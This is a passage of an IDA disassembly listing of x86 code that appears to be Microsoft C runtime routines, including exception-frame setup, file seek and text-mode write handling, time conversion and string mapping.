; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DBA08
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427910o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427920
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43CFA4
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427930o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:00427934o
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427928o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DCFE8
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2660000h


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43D46C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43D388
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43D38C, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43D390


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DCDA0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB958, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 2770000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 2680932h
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DCCA0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB958, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DCDA0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB958, 9
		mov	dword_4DB95C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		nop
		call	near ptr 2680932h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		nop
		call	near ptr 2680932h
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB958, 1Ch
		mov	dword_4DB95C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427940
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBA2C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2640000h
		nop
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DBA2C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CB50C
		push	esi
		push	edi
		call	near ptr 2650000h
		nop
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DBA2C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DBA2C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DBA24
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 281108Ch
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DBA30
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBA30, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43D020
		mov	edx, dword_43D024
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43CFB0h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43D02C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43D02C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------
